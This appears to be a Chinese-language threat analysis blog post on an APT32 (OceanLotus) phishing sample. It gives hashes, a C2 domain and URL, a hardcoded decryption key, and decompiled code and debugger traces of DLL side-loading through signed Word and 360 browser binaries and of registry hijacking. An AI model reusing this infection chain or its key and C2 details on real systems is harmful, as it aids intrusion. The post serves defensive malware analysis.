APT

APT32-海莲花-20190504

APT

Posted by DC on May 4, 2019

APT32-海莲花-20190504

跟进零杀软检出,我国遭到“海莲花”新手法攻击事件。

跟进样本做分析及当次事件ttps矩阵提取(吐槽下零检出这个噱头)

TTPS矩阵

战略战术特征

   
背景 越南背景
目标群体 (此次未标明攻击对象。来源疑为hunting出样本、以往目标为中国能源相关行业、海事机构、海域建设部门、科研院所和航运企业等进行网络攻击全球的政府、军事机构和大型企业,以及本国的媒体、人权和公民社会等相关的组织和 个人
投递方式 邮件投递(压缩包名称为2019年第一季度工作方向附表,)
攻击入口 伪装文件
释放流程 Camouflage_file->Droopper->Droopper->Malware

基础设施特征

C2及资源下发  
域名 officewps.net
URL https://officewps.net/ultra.jpg
URL参数  
样本中携带的信息  
MD5 ceaa5817a65e914aa178b28f12359a46
签名证书生成时间 07:43 PM 04/04/2006
PDB/调试路径&源码路径 t:\word\x86\ship\0\winword.pdb
诱惑文档内容/格式 2019年第一季度工作方向附表/exe
文档拥有者/最后一个修改者 Microsoft Corporation/Microsoft Corporation
MD5 05e513c612b0384804db9bda5277087c
签名证书生成时间  
PDB/调试路径&源码路径  
诱惑文档内容/格式 /dll
文档拥有者/最后一个修改者  
MD5 a16702ed1812ddc42153ef070f3dfdd6
签名证书生成时间 12:00 AM 01/06/2016
PDB/调试路径&源码路径 e:\se9\src\out\Release\initialexe\360se.exe.pdb
诱惑文档内容/格式 /exe
文档拥有者/最后一个修改者 360.cn/360.cn
MD5 3b132e407474bc1c830d5a173428a6e1
签名证书生成时间  
PDB/调试路径&源码路径  
诱惑文档内容/格式 /exe
文档拥有者/最后一个修改者  
MD5 802cb895c1f0085611c74edf2b177df6

技术特征矩阵

加解密  
位置 内存(须标明实际偏移,本次动态获取01E9EC6C)
加密方式 hash(cryptAPI)
加密秘钥 CH!n@Num83r1f0RSur3n0J0ke!
释放文件 360se.exe、chrome_elf.dll
攻击技术  
使用工具 Cobalt Strike
运行环境检测  
持久性部署  
漏洞利用  
C2技术特征  
C2所在区域 泰国
C2获取方式 本地解密
C2通信方式 DNS
C2指令特点 数字指令
对抗技术  
反杀软  
反虚拟机  
行为隐藏  
猜测采用邮件发送行为进行边界突破:

未有邮件内容

采用伪装文件作为攻击入口

附件为rar压缩包

基础信息:

MD5

ae3c759c49745190e6c9c48c34be2da9

SHA-1

c3add850b950fa539efd5bb0e17a36c315192a92

File Type

RAR

Magic

RAR archive data, v0, flags: Archive volume, Commented, Solid, Authenticated,

SSDeep

12288:aIkj9L5pSDycJu0ZCvgsJH/mftU+bGPDyBVZxP5nS05TBkRB0gDWwsQ5+4:/kjxTyycJfCvggHe2lCVtBQGusGD

TRiD

RAR compressed archive (v5.0) (61.5%) RAR compressed archive (gen) (38.4%)

File Size

682.28 KB

解压出同级目录下两个文件

MD5:

ceaa5817a65e914aa178b28f12359a46

05e513c612b0384804db9bda5277087c

文件分析:

伪装文档的winword组件

SHA-256 6c959cfb001fbb900958441dfd8b262fb33e052342948bab338775d3e83ef7f7
MD5 ceaa5817a65e914aa178b28f12359a46
File name 2019年第一季度工作方向附表.EXE
File size 339.29 KB
File Type Win32 EXE

该文件为window office 2007 组件 windword.exe 该组件主要功能为启动 office word 整体程序。证书为2006-2007的过期微软证书。文章所说的零检出指的是对这个windows offce 组件未成功检出。

在winword.exe 中,攻击者通过分析了解 sub_30001573 对wwlib.dll 的加载过程,调用dll FMain、wdCommandDispatch、wdGetApplicationObject函数名 进行后续程序启动过程进行劫持攻击

signed int __stdcall sub_30001573(int a1, int a2, int a3, int a4)
{
  HMODULE v4; // edi@1
  FARPROC v5; // ebx@2
  FARPROC v6; // eax@2
  signed int result; // eax@5

  v4 = LoadLibraryW(L"wwlib.dll");  // 通过loadlibrary,在dll 的加载过程中进行了恶意调用
  if ( v4 || (v4 = (HMODULE)sub_30001968(L"{0638C49D-BB8B-4CD1-B191-051E8F325736}")) != 0 )
  {
    v5 = GetProcAddress(v4, "FMain");
    dword_30003010 = (int)GetProcAddress(v4, "wdCommandDispatch");
    v6 = GetProcAddress(v4, "wdGetApplicationObject");
    dword_3000300C = (int)v6;
    if ( v5 && dword_30003010 && v6 )
    {
      ((void (__stdcall *)(int, int, int, int))v5)(a1, a2, a3, a4);
      FreeLibrary(v4);
      result = 0;
    }
    else
    {
      result = 1;
    }
  }
  else
  {
    GetLastError();
    result = 1;
  }
  return result;
}

攻击手法上通过利用该组件对wwlib.dll的调用,将wwlib.dll同名文件以隐藏属性设置在同目录下,从而在调用时优先调用同级目录库文件进行dll替换达到dll劫持攻击的目的。攻击者使用该系统组件伪装为xls表格文档达到绕过检测目的来进行欺骗作为攻击入口调用后续伪造wwlib.dll。

在这里采用了word组件白利用的攻击方式。

伪造wwlib.dll 文件

SHA-256 236623cd3be93a832ae86bb7bfbf66e6d5e00abbc6ebc6555c09988412448391
MD5 05e513c612b0384804db9bda5277087c
File name wwlib.dll
File size 1.37 MB
File Type Win32 DLL

在word组件加载恶意wwlib.dll,在 dll 初始化时,调用恶意利用模块:

  1. 调用cryptAPI 解密秘钥进行 文件名解密
  2. 释放chrome_elf.dll、360se.exe文件到 C:\ProgramData\360seMaintenance;释放 2019年第一季度工作方向附表.docx 到本地目录下
  3. 根据注册表是否存在 Software\Classes\ ”创建“.doc”和“.docx .pdf项,存在doc项
  4. 通过 createporcessW 启动 360se.exe 及同样的命令行传参 打开 “2019年第一季度工作方向附表.docx”
  5. 通过360se.exe(360浏览器组件) 调用 chrome_elf.dll 恶意payload 利用。
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  void *v3; // ecx@2
  char v5; // [sp-30h] [bp-54h]@6
  int v6; // [sp-2Ch] [bp-50h]@6
  int v7; // [sp-28h] [bp-4Ch]@6
  int v8; // [sp-24h] [bp-48h]@6
  int v9; // [sp-20h] [bp-44h]@6
  int v10; // [sp-1Ch] [bp-40h]@6
  const void *v11; // [sp-18h] [bp-3Ch]@6
  int v12; // [sp-14h] [bp-38h]@6
  int v13; // [sp-10h] [bp-34h]@6
  int v14; // [sp-Ch] [bp-30h]@6
  DWORD v15; // [sp-8h] [bp-2Ch]@6
  int v16; // [sp-4h] [bp-28h]@6
  HKEY phkResult; // [sp+8h] [bp-1Ch]@3
  const void **v18; // [sp+Ch] [bp-18h]@6
  int v19; // [sp+20h] [bp-4h]@6

  if ( fdwReason == 1 && sub_10009170() )  //sub_10009170 通过cryptAPI解密,释放chrome_elf.dll、360se.exe文件到 C:\ProgramData\360seMaintenance;释放 2019年第一季度工作方向附表.docx  到本地目录下
  {
    sub_100092A0(v3); //进行 doc 的注册表项判断 调用 360se.exe
    if ( !RegOpenKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Classes\\WORD.19", 0, 0x20019u, &phkResult) )
    {
      RegCloseKey(phkResult);
      ExitProcess(1u);
    }
    sub_100072F0(); //.doc 判断SOFTWARE\\Classes\\ 
    sub_10003F00(); //.docx 判断SOFTWARE\\Classes\\ 
    sub_10005D90(); //.pdf 判断SOFTWARE\\Classes\\ 
    v18 = &v11;
    v16 = 15;
    v15 = 0;
    LOBYTE(v11) = 0;
    sub_1000A400(&v11, (int)&dword_10022100, 0, 0xFFFFFFFF);
    v19 = 0;
    v10 = 15;
    v9 = 0;
    v5 = 0;
    sub_1000A400(&v5, (int)&dword_100220A0, 0, 0xFFFFFFFF);
    v19 = -1;
    if ( !sub_100037C0(*(LPCSTR *)&v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16) )
    {
      sub_10008EA0();
      sub_10005AB0();
      sub_10007020();
    }
    ExitProcess(1u);
  }
  return 1;
}
加解密

样本采用的加解密方法为 通过 cryptAPI 进行 hash 加解密

秘钥存储在内存中

.rdata:1001E478 qword_1001E478  dq 6D754E406E214843h    ; DATA XREF: sub_10001AA0+40r
.rdata:1001E478                                         ; cryname+40r
.rdata:1001E480 qword_1001E480  dq 5352306631723338h    ; DATA XREF: sub_10001AA0+56r
.rdata:1001E480                                         ; cryname+56r
.rdata:1001E488 qword_1001E488  dq 6B304A306E337275h    ; DATA XREF: sub_10001AA0+67r
.rdata:1001E488                                         ; cryname+67r

秘钥:
6D754E406E214843h
5352306631723338h
6B304A306E337275h

003DE88C   003DE8C8  ASCII "CH!n@Num83r1f0RSur3n0J0ke!"


解密数据:
通过对数据
01E9EC6C  6D 42 74 4A 62 52 36 6D  mBtJbR6m
01E9EC74  48 36 35 72 55 65 46 6E  H65rUeFn
01E9EC7C  6B 79 34 4A 20 79 45 55  ky4J yEU
01E9EC84  4C 63 52 62 74 4A 62 4E  LcRbtJbN
01E9EC8C  69 4E 77 3D 3D 20 6B 77  iNw== kw
01E9EC94  64 50 63 67 44 35 62 2B  dPcgD5b+
01E9EC9C  52 6F 55 61 6C 71 6E 43  RoUalqnC
01E9ECA4  64 2B 78 4A 50 2F 4F 46  d+xJP/OF
01E9ECAC  34 64 59 42 65 62 4C 36  4dYBebL6
01E9ECB4  7A 6E 44 43 50 74 62 44  znDCPtbD
01E9ECBC  34 3D 20 76 78 78 59 65  4= vxxYe
01E9ECC4  6C 32 6E 4C 36 68 2F 4E  l2nL6h/N
01E9ECCC  77 3D 3D 00 00 00 00 00  w==.....

中的数据提取以 0x20 为中止的数据段 转化为binarybyte格式后 进行解密 

1.文件名解密

   yEULcRbtJbNiNw==   解密出   360se.exe

0040EDC0   00486DC8  ASCII "yEULcRbtJbNiNw=="

0040EDC4   0040EDAC  ASCII "xzH"

0040EDB8   73BA20E8  ASCII A0,"mH"

0040EDAC   00487A78  ASCII "360se.exe"


   mBtJbR6mH65rUeFnky4J  =》 ?Im??kQ醙?..  =》  chrome_elf.dll

003DE8FC   00866DC8  ASCII "mBtJbR6mH65rUeFnky4J"
003DE900   0015ECCF
003DE904   0015EC7F
003DE908   003DF2D4
003DE90C   00000014
003DE910   0000001F

00867A78  98 1B 49 6D 1E A6 1F AE  ?Im??
00867A80  6B 51 E1 67 93 2E 09 00  kQ醙?..

$-4      > 00537A90  ASCII "chrome_elf.dll"



    vxxYel2nL6h/Nw==    解密为   Docx.docx

ecx=00536DA0, (ASCII "vxxYel2nL6h/Nw==")

00536DA0  76 78 78 59 65 6C 32 6E  vxxYel2n
00536DA8  4C 36 68 2F 4E 77 3D 3D  L6h/Nw==

$-B0     > 00537A90  ASCII "Docx.docx"



其他字段:
$-38     > 005361F0  ASCII "kwdPcgD5b+RoUalqnCd+xJP/OF4dYBebL6znDCPtbD4="

005361F0  6B 77 64 50 63 67 44 35  kwdPcgD5
005361F8  62 2B 52 6F 55 61 6C 71  b+RoUalq
00536200  6E 43 64 2B 78 4A 50 2F  nCd+xJP/
00536208  4F 46 34 64 59 42 65 62  OF4dYBeb
00536210  4C 36 7A 6E 44 43 50 74  L6znDCPt
00536218  62 44 34 3D 00 00 00 00  bD4=....

追加后面做url解密


解密函数

int __usercall cryname@<eax>(void *a1@<ecx>, void *a2, int a3, int a4, int a5, int a6, int a7)
{
  int v7; // esi@1
  unsigned int v8; // edi@2
  char v9; // al@3
  unsigned int v10; // eax@6
  void *v11; // eax@9
  bool v12; // cf@17
  void *v13; // eax@20
  unsigned int v14; // edi@25
  char v15; // al@26
  void *v16; // eax@32
  void *v17; // edi@41
  size_t v18; // ecx@42
  void *v20; // [sp+10h] [bp-50h]@1
  HCRYPTPROV hProv; // [sp+14h] [bp-4Ch]@1
  HCRYPTKEY hKey; // [sp+18h] [bp-48h]@1
  void *v23; // [sp+1Ch] [bp-44h]@41
  int v24; // [sp+2Ch] [bp-34h]@41
  unsigned int v25; // [sp+30h] [bp-30h]@41
  __int64 v26; // [sp+34h] [bp-2Ch]@1
  __int64 v27; // [sp+3Ch] [bp-24h]@1
  __int64 v28; // [sp+44h] [bp-1Ch]@1
  __int16 v29; // [sp+4Ch] [bp-14h]@1
  char v30; // [sp+4Eh] [bp-12h]@1
  int v31; // [sp+5Ch] [bp-4h]@1

  v7 = (int)a1;
  v31 = 0;
  v29 = 8549;
    
  //采用hash加密  提取解密所用秘钥
  //qword_1001E478、qword_1001E480、qword_1001E488
  _mm_storel_epi64((__m128i *)&v26, _mm_loadl_epi64((const __m128i *)&qword_1001E478));
  v30 = 0;
  _mm_storel_epi64((__m128i *)&v27, _mm_loadl_epi64((const __m128i *)&qword_1001E480));
  hProv = 0;
  hKey = 0;
  _mm_storel_epi64((__m128i *)&v28, _mm_loadl_epi64((const __m128i *)&qword_1001E488));
  
    
   v20 = 0;
  if ( !sub_1000C430(&hProv, &hKey, (BYTE *)&v26) )  // 获取解密API  句柄
  {
    *(_DWORD *)(v7 + 20) = 15;
    *(_DWORD *)(v7 + 16) = 0;
    *(_BYTE *)v7 = 0;
    v8 = 0;
    if ( v0 )
    {
      do
        v9 = *(_BYTE *)v8++;
      while ( v9 );
      --v8;
      if ( v8 > 0xFFFFFFFE )
        sub_10016104("string too long");
    }
    v10 = *(_DWORD *)(v7 + 20);
    if ( v10 < v8 )
    {
      sub_1000B5E0(v7, v8, *(_DWORD *)(v7 + 16));
      if ( !v8 )
        goto LABEL_47;
      goto LABEL_8;
    }
    if ( v8 )
    {
LABEL_8:
      if ( *(_DWORD *)(v7 + 20) < 0x10u )
        v11 = (void *)v7;
      else
        v11 = *(void **)v7;
      if ( v8 )
        memmove_0(v11, 0, v8);
      v12 = *(_DWORD *)(v7 + 20) < 0x10u;
      *(_DWORD *)(v7 + 16) = v8;
      if ( v12 )
        *(_BYTE *)(v7 + v8) = 0;
      else
        *(_BYTE *)(*(_DWORD *)v7 + v8) = 0;
      goto LABEL_47;
    }
LABEL_11:
    *(_DWORD *)(v7 + 16) = 0;
    if ( v10 < 0x10 )
      *(_BYTE *)v7 = 0;
    else
      **(_BYTE **)v7 = 0;
    goto LABEL_47;
  }
  v13 = &a2;
  if ( (unsigned int)a7 >= 0x10 )
    v13 = a2;
  if ( crydata(hKey, &v20, (int)v13) )    //解密数据
  {
    v17 = v20;
    v25 = 15;
    v24 = 0;
    LOBYTE(v23) = 0;
    if ( *(_BYTE *)v20 )
      v18 = strlen((const char *)v20);
    else
      v18 = 0;
    sub_1000AD50((int)&v23, v20, v18);
    free(v17);
    sub_1000C690(hKey, hProv);           //销毁数据和句柄
    sub_10009D20((void *)v7, &v23);
    if ( v25 >= 0x10 )
      j__free(v23);
    v25 = 15;
    v24 = 0;
    LOBYTE(v23) = 0;
  }
  else
  {
    if ( hProv )
      CryptReleaseContext(hProv, 0);
    *(_DWORD *)(v7 + 20) = 15;
    *(_DWORD *)(v7 + 16) = 0;
    *(_BYTE *)v7 = 0;
    v14 = 0;
    if ( v0 )
    {
      do
        v15 = *(_BYTE *)v14++;
      while ( v15 );
      --v14;
      if ( v14 > 0xFFFFFFFE )
        sub_10016104("string too long");
    }
    v10 = *(_DWORD *)(v7 + 20);
    if ( v10 >= v14 )
    {
      if ( !v14 )
        goto LABEL_11;
    }
    else
    {
      sub_1000B5E0(v7, v14, *(_DWORD *)(v7 + 16));
      if ( !v14 )
        goto LABEL_47;
    }
    if ( *(_DWORD *)(v7 + 20) < 0x10u )
      v16 = (void *)v7;
    else
      v16 = *(void **)v7;
    if ( v14 )
      memmove_0(v16, 0, v14);
    v12 = *(_DWORD *)(v7 + 20) < 0x10u;
    *(_DWORD *)(v7 + 16) = v14;
    if ( v12 )
      *(_BYTE *)(v14 + v7) = 0;
    else
      *(_BYTE *)(v14 + *(_DWORD *)v7) = 0;
  }
LABEL_47:
  if ( (unsigned int)a7 >= 0x10 )
    j__free(a2);
  return v7;
}

后续进行了:

  1. 文件释放操作
  2. 注册表操作
  3. 调用 word 和 360se.exe进行下一阶段恶意调用

文件释放操作:


释放:C:\ProgramData\360seMaintenance\chrome_elf.dll
条件为真 TRUE
堆栈 ss:[0043ED04]=00536260, (ASCII "C:\ProgramData\360seMaintenance\chrome_elf.dll")
esi=0043ED04

释放:C:\ProgramData\360seMaintenance\360se.exe
$-1C     > 0053F630  |FileName = "C:\ProgramData\360seMaintenance\360se.exe"
$-18     > 00000003  |Access = 3
$-14     > 00000000  |ShareMode = 0
$-10     > 00000000  |pSecurity = NULL
$-C      > 00000004  |Mode = OPEN_ALWAYS
$-8      > 00000080  |Attributes = NORMAL
$-4      > 00000000  \hTemplateFile = NULL

部分数据:
01E85A00  02 FC 00 00 4D 5A 90 00  ?.MZ?
01E85A08  03 00 00 00 04 00 00 00  ......
01E85A10  FF FF 00 00 B8 00 00 00  ..?..
01E85A18  00 00 00 00 40 00 00 00  ....@...
01E85A20  00 00 00 00 00 00 00 00  ........
01E85A28  00 00 00 00 00 00 00 00  ........
01E85A30  00 00 00 00 00 00 00 00  ........
01E85A38  00 00 00 00 00 00 00 00  ........
01E85A40  00 01 00 00 0E 1F BA 0E  ...?
01E85A48  00 B4 09 CD 21 B8 01 4C  .???L
01E85A50  CD 21 54 68 69 73 20 70  ?This p
01E85A58  72 6F 67 72 61 6D 20 63  rogram c
01E85A60  61 6E 6E 6F 74 20 62 65  annot be
01E85A68  20 72 75 6E 20 69 6E 20   run in
01E85A70  44 4F 53 20 6D 6F 64 65  DOS mode
01E85A78  2E 0D 0D 0A 24 00 00 00  ....$...
01E85A80  00 00 00 00 94 D5 67 2C  ....g,
01E85A88  D0 B4 09 7F D0 B4 09 7F  .写.
01E85A90  D0 B4 09 7F 2C C3 B7 7F  .,梅

002CF844   0047D148  ASCII "uElnVwCmMrhb0DJfuyd635S+JmcIKlGUbOu/QX2kPArgtXWeY61VuQDJ+Ot6Hv+ay4QQBVCK23aLpnXh/S+SYM4OKZ6IERMdCX43"

002CF81C   00476260  ASCII "C:\ProgramData\360seMaintenance\chrome_elf.dll"

0047D148  75 45 6C 6E 56 77 43 6D 4D 72 68 62 30 44 4A 66  uElnVwCmMrhb0DJf
0047D158  75 79 64 36 33 35 53 2B 4A 6D 63 49 4B 6C 47 55  uyd635S+JmcIKlGU
0047D168  62 4F 75 2F 51 58 32 6B 50 41 72 67 74 58 57 65  bOu/QX2kPArgtXWe
0047D178  59 36 31 56 75 51 44 4A 2B 4F 74 36 48 76 2B 61  Y61VuQDJ+Ot6Hv+a
0047D188  79 34 51 51 42 56 43 4B 32 33 61 4C 70 6E 58 68  y4QQBVCK23aLpnXh
0047D198  2F 53 2B 53 59 4D 34 4F 4B 5A 36 49 45 52 4D 64  /S+SYM4OKZ6IERMd
0047D1A8  43 58 34 33 6E 37 64 30 62 55 49 74 30 31 38 32  CX43n7d0bUIt0182
0047D1B8  58 33 36 50 2F 73 61 32 00 00 00 00 00 00 00 00  X36P/sa2........





释放: 2019年第一季度工作方向附表.docx
堆栈地址=0043EF3C, (UNICODE "C:\Users\琮\AppData\Local\Temp")
ecx=F0399C68
条件为真 TRUE
ds:[73992088]=00536378, (UNICODE "2019年第一季度工作方向附表.docx")
eax=73992088 (wwlib.73992088), ASCII "xcS"
$-1C     > 00536378  |FileName = "2019年第一季度工作方向附表.docx"
$-18     > 00000003  |Access = 3
$-14     > 00000000  |ShareMode = 0
$-10     > 00000000  |pSecurity = NULL
$-C      > 00000004  |Mode = OPEN_ALWAYS
$-8      > 00000080  |Attributes = NORMAL
$-4      > 00000000  \hTemplateFile = NULL


部分数据:
01FBA46C  D0 CF 11 E0 A1 B1 1A E1  쿐놡
01FBA474  00 00 00 00 00 00 00 00  ....
01FBA47C  00 00 00 00 00 00 00 00  ....
01FBA484  3E 00 03 00 FE FF 09 00  >..
01FBA48C  06 00 00 00 00 00 00 00  ...
01FBA494  00 00 00 00 01 00 00 00  ...
01FBA49C  09 00 00 00 00 00 00 00  ....
01FBA4A4  00 10 00 00 0A 00 00 00  က...
01FBA4AC  01 00 00 00 FE FF FF FF  ...
01FBA4B4  00 00 00 00 08 00 00 00  ...

    
部分代码:

          sub_1000A400(&dword_100220A0, (int)&lpMultiByteStr, 0, 0xFFFFFFFF);
          v52 = &lpMultiByteStr;
          if ( v144 >= 0x10 )
            v52 = (void *)lpMultiByteStr;
          v53 = (WCHAR *)sub_1000D184(0x2000u);
          MultiByteToWideChar(0, 0, (LPCSTR)v52, -1, v53, 4096);
          v54 = CreateFileW(v53, 3u, 0, 0, 4u, 0x80u, 0);
          v55 = &v139;
          if ( v141 >= 0x10 )
            v55 = (void *)v139;
          hFile = v54;
          v56 = (WCHAR *)sub_1000D184(0x2000u);
          MultiByteToWideChar(0, 0, (LPCSTR)v55, -1, v56, 4096);
          v57 = CreateFileW(v56, 3u, 0, 0, 4u, 0x80u, 0);
          v58 = hFile;
          v59 = v57;
          WriteFile(hFile, v98 + 4, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);
          v97 = 0;
          v96 = (int)&NumberOfBytesWritten;
          v95 = ::nNumberOfBytesToWrite;
          v60 = &::lpBuffer;

注册表操作:

进行注册表:
向注册表Software\Classes\docxfile\shell\open\command
写入%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE



$-6C     > 00446260  UNICODE "Software\Classes.docx"

$-94     > 80000002  |hKey = HKEY_LOCAL_MACHINE
$-90     > 00446298  |Subkey = "Software\Classes.docx"
$-8C     > 00000000  |Reserved = 0x0
$-88     > 00020019  |Access = KEY_READ
$-84     > 0036F940  \pHandle = 0036F940

条件为真 TRUE
堆栈 ss:[0036FA9C]=00448FB0, (UNICODE "Software\Classes\docxfile\shell\open\command")
eax=0036FA9C, (UNICODE "辰D")

$-8      > 00447810  UNICODE ""%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"


部分代码片段:

v5 = sub_1000BBA0(&v71, L"Software\\Classes\\", (int)&v63);
LOBYTE(v77) = 4;
sub_1000BC90(&v68, v5, L"\\shell\\open\\command");
LOBYTE(v77) = 6;
if ( v73 >= 8 )
j__free(v71);
v50 = (signed int)&phkResult;
LOWORD(v71) = 0;
v49 = 131097;
v6 = &v68;
if ( v70 >= 8 )
v6 = (void *)v68;
v73 = 7;
v72 = 0;



73B9EAB8=wwlib.73B9EAB8 (UNICODE "Software\Microsoft\Windows\CurrentVersion\Explorer")
edx=73B9EAB8 (wwlib.73B9EAB8), UNICODE "Software\Microsoft\Windows\CurrentVersion\Explorer"

360se.exe调用

判断注册表是否存在doc项,若存在则 调用 word 作为伪装 和 360se.exe进行下一阶段恶意调用

注册表项值:
$-1C     > 0044782E  UNICODE "\Windows NT\Accessories\WORDPAD.EXE" "%1""
启动word伪装项值
$-5C     > 0044D028  UNICODE ""%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"
$-40     > 004463B0  UNICODE ""2019年第一季度工作方向附表.docx""
$-18     > 00451638  UNICODE ""C:\Program Files (x86)\Windows NT\Accessories\WOR"
    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

通过 WORDPAD.EXE  启动word 文档(在HKEY_LOCAL_MACHINE存在时)
$-A0     > 00000000  |ModuleFileName = NULL
$-9C     > 0044CFB0  |CommandLine = ""C:\Program Files (x86)\Windows NT\Accessories\WORDPAD.EXE"  "2019年第一季度工作方向附表.docx" "
$-98     > 00000000  |pProcessSecurity = NULL
$-94     > 00000000  |pThreadSecurity = NULL
$-90     > 00000000  |InheritHandles = FALSE
$-8C     > 00000000  |CreationFlags = 0
$-88     > 00000000  |pEnvironment = NULL
$-84     > 00000000  |CurrentDir = NULL
$-80     > 0036F92C  |pStartupInfo = 0036F92C
$-7C     > 0036F974  \pProcessInfo = 0036F974

在存在HKEY_CURRENT_USER中项值时调用360se.exe  “2019年第一季度工作方向附表.docx”

sub_1000BBA0(&lpSubKey, L"Software\\Classes\\", (int)&v57);
  LOBYTE(v77) = 1;
  v50 = (signed int)&phkResult;
  v49 = 131097;
  v4 = &lpSubKey;
  if ( v67 >= 8 )
    v4 = (void *)lpSubKey;
  if ( !RegOpenKeyExW(HKEY_CURRENT_USER, (LPCWSTR)v4, 0, v49, (PHKEY)v50) )//项值判断
  {
    v51 = &v45;
    v50 = 7;
    v49 = 0;
    LOWORD(v45) = 0;
    sub_1000B200((int)&v45, (void *)&ValueName, 0);
    LOBYTE(v77) = 2;
    v44 = 7;
    v43 = 0;
    v39 = 0;
    sub_1000A5D0(&v39, (int)&lpSubKey, 0, -1);
    LOBYTE(v77) = 1;
    sub_10003560(
      &v63,
      HKEY_CURRENT_USER,
      *(LPCWSTR *)&v39,
      v40,
      v41,
      v42,
      v43,
      v44,
      (LPCWSTR)v45,
      v46,
      v47,
      v48,
      v49,
      v50);
    LOBYTE(v77) = 3;
    v5 = sub_1000BBA0(&v71, L"Software\\Classes\\", (int)&v63); //读取调用参数
    LOBYTE(v77) = 4;
    sub_1000BC90(&v68, v5, L"\\shell\\open\\command");
    LOBYTE(v77) = 6;
    if ( v73 >= 8 )
      j__free(v71);
    v50 = (signed int)&phkResult;
    LOWORD(v71) = 0;
    v49 = 131097;
    v6 = &v68;
    if ( v70 >= 8 )
      v6 = (void *)v68;
    v73 = 7;
    v72 = 0;
    if ( !RegOpenKeyExW(HKEY_CURRENT_USER, (LPCWSTR)v6, 0, v49, (PHKEY)v50) )
    {
      hKey = (HKEY)&v45;
      sub_10009F70((int)&v45, (void *)&ValueName);
      LOBYTE(v77) = 7;
      v44 = 7;
      v43 = 0;
      v39 = 0;
      sub_1000A5D0(&v39, (int)&v68, 0, -1);
      LOBYTE(v77) = 6;
      sub_10003560(
        &v74,
        HKEY_CURRENT_USER,
        *(LPCWSTR *)&v39,
        v40,
        v41,
        v42,
        v43,
        v44,
        (LPCWSTR)v45,
        v46,
        v47,
        v48,
        v49,
        v50);
      LOBYTE(v77) = 8;
      v7 = sub_1000A7D0(&v74, (int)L"/dde", 0x400000000ui64);
      v8 = v75;
      if ( (signed int)v7 > 0 && v7 < v75 )
      {
        v9 = sub_1000A2D0((int)&v74, (int)&v71, 0, v7);
        sub_1000A040(&v74, (void *)v9);
        if ( v73 >= 8 )
          j__free(v71);
        sub_1000A140(L"\"%1\"");
        v8 = v75;
      }
      if ( v8 <= 1 )
        goto LABEL_49;
      v10 = sub_1000A7D0(&v74, (int)L"%1", 0x200000000ui64);
      v11 = v10;
      if ( v10 <= 0 || v10 >= v8 )
        goto LABEL_49;
      sub_1000A2D0((int)&v74, (int)&v60, 0, v10 - 1);
      LOBYTE(v77) = 9;
      sub_1000A2D0((int)&v74, (int)&v61, v11 + 3, -1);
      LOBYTE(v77) = 10;
      v12 = (void *)sub_1000BD30(&v54, L" ");
      LOBYTE(v77) = 11;
      v13 = (int)sub_1000BE20(&v55, v12, (int)&dword_10022178);
      LOBYTE(v77) = 12;
      v14 = sub_1000BC90(&v56, v13, L" ");
      LOBYTE(v77) = 13;
      sub_1000BE20(&v71, v14, (int)&v61);
      sub_1000A0C0((int)&v56);
      sub_1000A0C0((int)&v55);
      LOBYTE(v77) = 17;
      sub_1000A0C0((int)&v54);
      sub_10009F20(&v71);
      v15 = sub_10003B30(v45, v46, v47, v48, v49, v50);
      sub_1000A040(&v71, (void *)v15);
      sub_1000A0C0((int)&v62);
      sub_10009F20(&v71);
      sub_10003E80((LPWSTR)v45, v46, v47, v48, v49, v50);// createprocess 调用360se.exe       
      sub_1000A0C0((int)&v71);
      sub_1000A0C0((int)&v61);
      v16 = (int)&v60;
      goto LABEL_48;
    }

360se.exe白利用
SHA-256 de6c5cfff542f1b204c32c303a9c74b47b124a670ea0a62429d0021e268a2872
MD5 a16702ed1812ddc42153ef070f3dfdd6
File name 360se.exe
File size 1.02 MB
File Type Win32 EXE

证书信息为:

Qihoo 360 Software (Beijing) Company Limited

2018‎年‎1‎月‎26‎日 20:18:05

有效期从2015/12/28到 2019/3/29

通过利用360se.exe 中的 对 函数调用 加载 同目录下的被劫持的 chrome_elf.dll 调用其被篡改的函数SignalInitializeCrashReporting

调用部分的 chromeMain 主要功能函数
signed int __stdcall sub_404CE2(int a1, int a2, int a3, int a4)
{
  int v4; // ebx@1
  DWORD v5; // esi@1
  DWORD v6; // eax@1
  char *v7; // ecx@2
  HMODULE v8; // eax@7
  void (*v9)(void); // eax@8
  int v10; // esi@10
  int v11; // edi@12
  HANDLE v12; // eax@13
  void (*v13)(void); // eax@15
  int v14; // eax@17
  signed int v15; // ecx@23
  int v16; // esi@24
  HMODULE v17; // eax@28
  void (*v18)(void); // eax@28
  WCHAR *v20; // ecx@41
  WCHAR v21; // ax@42
  char v22; // al@58
  int v23; // ecx@60
  char v24; // bl@62
  int v25; // ecx@68
  int v26; // ecx@72
  signed int v27; // esi@72
  int v28; // edi@84
  int v29; // eax@86
  int v30; // eax@86
  int v31; // ecx@90
  UINT v32; // edi@92
  HANDLE v33; // eax@94
  int v34; // esi@100
  int v35; // eax@100
  int v36; // [sp+36h] [bp-920h]@51
  unsigned int v37; // [sp+3Ah] [bp-91Ch]@1
  int v38; // [sp+3Eh] [bp-918h]@17
  int v39; // [sp+42h] [bp-914h]@17
  char v40; // [sp+56h] [bp-900h]@17
  int v41; // [sp+5Ah] [bp-8FCh]@17
  char v42; // [sp+5Eh] [bp-8F8h]@64
  int v43; // [sp+7Eh] [bp-8D8h]@1
  char v44; // [sp+86h] [bp-8D0h]@58
  char v45; // [sp+9Eh] [bp-8B8h]@14
  char v46; // [sp+B6h] [bp-8A0h]@12
  int v47; // [sp+C6h] [bp-890h]@12
  char v48; // [sp+CEh] [bp-888h]@61
  int v49; // [sp+DEh] [bp-878h]@84
  int v50; // [sp+E2h] [bp-874h]@84
  int v51; // [sp+E6h] [bp-870h]@58
  int v52; // [sp+F6h] [bp-860h]@84
  int v53; // [sp+FAh] [bp-85Ch]@84
  char v54; // [sp+FEh] [bp-858h]@58
  __int64 ThreadId; // [sp+116h] [bp-840h]@12
  char v56; // [sp+11Fh] [bp-837h]@58
  char v57[2]; // [sp+124h] [bp-832h]@2
  WCHAR Filename[260]; // [sp+126h] [bp-830h]@1
